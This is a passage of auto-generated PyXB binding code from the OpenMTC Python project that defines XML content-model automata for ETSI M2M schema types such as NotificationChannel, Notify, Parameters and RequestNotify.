counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
16, 12))
counters.add(cc_4)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'channelType')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contactURI')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'channelData')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
NotificationChannel._Automaton = _BuildAutomaton_62()
NotificationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=NotificationChannels,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
NotificationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=NotificationChannels,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
NotificationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'notificationChannelCollection'),
NamedReferenceCollection, scope=NotificationChannels,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
19, 4)))
def _BuildAutomaton_63():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_63
del _BuildAutomaton_63
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
15, 12))
counters.add(cc_2)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace,
u'notificationChannelCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
NotificationChannels._Automaton = _BuildAutomaton_63()
Notify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode,
scope=Notify, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186,
4)))
Notify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'representation'),
_ImportedBinding__xmlmime.base64Binary, scope=Notify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 14,
16)))
Notify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'timeoutReason'),
pyxb.binding.datatypes.string, scope=Notify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 16,
16)))
Notify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'subscriptionReference'),
pyxb.binding.datatypes.anyURI, scope=Notify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 18,
12)))
Notify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'requestingEntity'),
pyxb.binding.datatypes.anyURI, scope=Notify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 19,
12)))
Notify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'contact'),
pyxb.binding.datatypes.anyURI, scope=Notify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
20, 12)))
def _BuildAutomaton_64():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_64
del _BuildAutomaton_64
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
14, 16))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
16, 16))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
19, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
20, 12))
counters.add(cc_3)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(Notify._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'statusCode')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(
Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'representation')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 14,
16))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(
Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'timeoutReason')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 16,
16))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
symbol = pyxb.binding.content.ElementUse(Notify._UseForTag(
pyxb.namespace.ExpandedName(None, u'subscriptionReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
18, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Notify._UseForTag(
pyxb.namespace.ExpandedName(None, u'requestingEntity')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd',
19, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(
Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'contact')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 20,
12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, True)]))
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
Notify._Automaton = _BuildAutomaton_64()
NotifyCollection._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'notify'), Notify,
scope=NotifyCollection, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 9, 4)))
def _BuildAutomaton_65():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_65
del _BuildAutomaton_65
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollection.xsd',
16, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(NotifyCollection._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'notify')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollection.xsd',
16, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
NotifyCollection._Automaton = _BuildAutomaton_65()
CTD_ANON_3._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'status'),
CTD_ANON_4, scope=CTD_ANON_3,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
15, 16)))
def _BuildAutomaton_66():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_66
del _BuildAutomaton_66
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
15, 16))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(None, u'status')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
15, 16))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
CTD_ANON_3._Automaton = _BuildAutomaton_66()
CTD_ANON_4._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'targetId'),
pyxb.binding.datatypes.anyURI, scope=CTD_ANON_4,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
18, 28)))
CTD_ANON_4._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'primitiveType'),
pyxb.binding.datatypes.string, scope=CTD_ANON_4,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
19, 28)))
CTD_ANON_4._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'statusCode'),
pyxb.binding.datatypes.string, scope=CTD_ANON_4,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
20, 28)))
def _BuildAutomaton_67():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_67
del _BuildAutomaton_67
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(None, u'targetId')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
18, 28))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(
pyxb.namespace.ExpandedName(None, u'primitiveType')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
19, 28))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
symbol = pyxb.binding.content.ElementUse(
CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(None, u'statusCode')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd',
20, 28))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
CTD_ANON_4._Automaton = _BuildAutomaton_67()
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Parameters,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Parameters,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Parameters,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Parameters,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'originalMO'),
pyxb.binding.datatypes.string, scope=Parameters,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 10,
4)))
Parameters._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'parametersCollection'),
NamedReferenceCollection, scope=Parameters,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 14,
4)))
def _BuildAutomaton_68():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_68
del _BuildAutomaton_68
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
11, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
12, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
13, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
14, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
19, 12))
counters.add(cc_5)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
11, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
12, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
13, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = None
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'originalMO')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
14, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'parametersCollection')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
17, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(
process_contents=pyxb.binding.content.Wildcard.PC_lax,
namespace_constraint=(
pyxb.binding.content.Wildcard.NC_not, u'http://uri.etsi.org/m2m')),
pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd',
19, 12))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, True)]))
st_6._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
Parameters._Automaton = _BuildAutomaton_68()
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'requestingEntity'),
pyxb.binding.datatypes.anyURI, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
14, 12)))
RequestNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'targetID'),
pyxb.binding.datatypes.anyURI,
scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
15, 12)))
RequestNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'method'),
MethodType, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
16, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'filterCriteria'), FilterCriteriaType,
scope=RequestNotify, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
17, 12)))
RequestNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'maxSize'),
pyxb.binding.datatypes.long, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
19, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'searchPrefix'),
pyxb.binding.datatypes.anyURI, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
20, 12)))
RequestNotify._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(None, u'groupRequestIdentifier'),
pyxb.binding.datatypes.hexBinary, scope=RequestNotify,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd',
21, 12)))
RequestNotify._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'TRPDT'),
